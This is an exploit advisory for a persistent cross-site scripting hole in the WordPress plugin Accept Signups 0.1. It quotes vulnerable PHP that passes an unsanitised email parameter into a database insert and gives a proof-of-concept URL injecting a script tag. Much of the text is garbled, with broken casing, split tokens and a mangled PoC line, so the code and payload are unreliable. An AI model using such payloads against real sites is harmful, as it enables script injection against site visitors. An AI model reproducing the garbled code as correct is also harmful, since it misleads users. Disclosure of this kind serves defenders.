WORDPRESS Plugin Accept Signups 0.1 XSS

# Exploit Title: WORDPRESS Plugin Accept Signups PERSISTENT XSS

# Date: 21/12/2010

# Author: clshack

# Software Link: http://wordpress.org/extend/plugins/accept-signups/

# Version: 0.1

# Tested on: wordpress 3.03

# CVE:

Vulnerable code accept-signups_submit.php:

Require_once (.../wp-config.php); // * addslashes * to GET and POST

$ E = $ _ GET [email];

Function saveEmail ($ e ){

Global $ wpdb;

$ Tbl = '. DB_NAME.'. '. $ wpdb-> prefix. accept-signups ';

$ Q = "insert into". $ tbl. "(email, ip, timestamp) value ($ e ,".

$ _ SERVER [REMOTE_ADDR]. ", now ());";

Return $ wpdb-> query ($ wpdb-> prepare ($ q ));

}

Poc:

Alert (String. fromCharCode (72 "> http: // localhost/wordpress/* wp-content/plugins/accept-signups/accept-signups_submit.php? Email = clshack <script> alert (String. fromCharCode (72,

101,108,108,111, 32, 58, 68, 32) </script> *